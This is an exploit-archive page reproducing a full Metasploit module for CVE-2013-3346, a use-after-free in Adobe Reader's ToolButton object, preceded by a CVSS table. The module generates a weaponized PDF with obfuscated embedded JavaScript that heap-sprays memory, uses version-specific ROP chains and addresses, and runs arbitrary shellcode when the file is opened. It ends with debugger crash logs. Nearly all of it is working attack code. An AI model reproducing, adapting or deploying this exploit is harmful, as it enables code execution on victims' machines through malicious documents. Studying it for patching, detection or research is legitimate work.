Adobe Reader ToolButton Use After Free
CVE
Category
Price
Severity
CWE-416
Unknown
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2013-12-17
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Adjacent AV The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014). Attack Complexity High AC The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2013120124 Below is a copy:##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::RopDb
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Reader ToolButton Use After Free',
'Description' => %q{
This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6
and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where
the cEnable callback can be used to early free the object memory. Later use of the object
allows triggering the use after free condition. This module has been tested successfully
on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in
November, 2013.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Soroush Dalili', # Vulnerability discovery
'Unknown', # Exploit in the wild
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-3346' ],
[ 'OSVDB', '96745' ],
[ 'ZDI', '13-212' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP / Adobe Reader 9/10/11', { }],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 08 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
js_data = make_js
# Create the pdf
pdf = make_pdf(js_data)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def make_js
# CreateFileMappingA + MapViewOfFile + memcpy rop chain
rop_9 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '9' }))
rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))
rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))
escaped_payload = Rex::Text.to_unescape(payload.encoded)
js = %Q|
function heapSpray(str, str_addr, r_addr) {
var aaa = unescape("%u0c0c");
aaa += aaa;
while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
var i1 = r_addr - 0x24;
var bbb = aaa.substring(0, i1 / 2);
var sa = str_addr;
while (sa.length < (0x0c0c - r_addr)) sa += sa;
bbb += sa;
bbb += aaa;
var i11 = 0x0c0c - 0x24;
bbb = bbb.substring(0, i11 / 2);
bbb += str;
bbb += aaa;
var i2 = 0x4000 + 0xc000;
var ccc = bbb.substring(0, i2 / 2);
while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;
var i3 = (0x1020 - 0x08) / 2;
var ddd = ccc.substring(0, 0x80000 - i3);
var eee = new Array();
for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
return;
}
var shellcode = unescape("#{escaped_payload}");
var executable = "";
var rop9 = unescape("#{rop_9}");
var rop10 = unescape("#{rop_10}");
var rop11 = unescape("#{rop_11}");
var r11 = false;
var vulnerable = true;
var obj_size;
var rop;
var ret_addr;
var rop_addr;
var r_addr;
if (app.viewerVersion >= 9 && app.viewerVersion < 10 && app.viewerVersion <= 9.504) {
obj_size = 0x330 + 0x1c;
rop = rop9;
ret_addr = unescape("%ua83e%u4a82");
rop_addr = unescape("%u08e8%u0c0c");
r_addr = 0x08e8;
} else if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
obj_size = 0x360 + 0x1c;
rop = rop10;
rop_addr = unescape("%u08e4%u0c0c");
r_addr = 0x08e4;
ret_addr = unescape("%ua8df%u4a82");
} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
r11 = true;
obj_size = 0x370;
rop = rop11;
rop_addr = unescape("%u08a8%u0c0c");
r_addr = 0x08a8;
ret_addr = unescape("%u8003%u4a84");
} else {
vulnerable = false;
}
if (vulnerable) {
var payload = rop + shellcode;
heapSpray(payload, ret_addr, r_addr);
var part1 = "";
if (!r11) {
for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");
}
part1 += rop_addr;
var part2 = "";
var part2_len = obj_size - part1.length * 2;
for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
var arr = new Array();
removeButtonFunc = function () {
app.removeToolButton({
cName: "evil"
});
for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
}
addButtonFunc = function () {
app.addToolButton({
cName: "xxx",
cExec: "1",
cEnable: "removeButtonFunc();"
});
}
app.addToolButton({
cName: "evil",
cExec: "1",
cEnable: "addButtonFunc();"
});
}
|
js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj \n" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(js)
xref = []
eol = "\n"
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
# catalog
xref << pdf.length
pdf << ioDef(1) << nObfu("<<") << eol
pdf << nObfu("/Pages ") << ioRef(2) << eol
pdf << nObfu("/Type /Catalog") << eol
pdf << nObfu("/OpenAction ") << ioRef(4) << eol
# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load
pdf << nObfu("/AcroForm ") << ioRef(6) << eol
pdf << nObfu(">>") << eol
pdf << endobj
# pages array
xref << pdf.length
pdf << ioDef(2) << nObfu("<<") << eol
pdf << nObfu("/Kids [") << ioRef(3) << "]" << eol
pdf << nObfu("/Count 1") << eol
pdf << nObfu("/Type /Pages") << eol
pdf << nObfu(">>") << eol
pdf << endobj
# page 1
xref << pdf.length
pdf << ioDef(3) << nObfu("<<") << eol
pdf << nObfu("/Parent ") << ioRef(2) << eol
pdf << nObfu("/Type /Page") << eol
pdf << nObfu(">>") << eol # end obj dict
pdf << endobj
# js action
xref << pdf.length
pdf << ioDef(4) << nObfu("<<")
pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(5)
pdf << nObfu(">>") << eol
pdf << endobj
# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(5) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
###
# The following form related data is required to get icucnv36.dll / icucnv40.dll to load
###
# form object
xref << pdf.length
pdf << ioDef(6)
pdf << nObfu("<</XFA ") << ioRef(7) << nObfu(">>") << eol
pdf << endobj
# form stream
xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF
xref << pdf.length
pdf << ioDef(7) << nObfu("<</Length %s>>" % xfa.length) << eol
pdf << "stream" << eol
pdf << xfa << eol
pdf << "endstream" << eol
pdf << endobj
###
# end form stuff for icucnv36.dll / icucnv40.dll
###
# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
end
=begin
* crash Adobe Reader 10.1.4
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001
eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
AcroRd32_60000000!PDFLTerm+0xbb7cd:
604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????
* crash Adobe Reader 11.0.2
(940.d70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -
eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000
eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213
AcroRd32_60000000!DllCanUnloadNow+0x1493ae:
60197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????
=end
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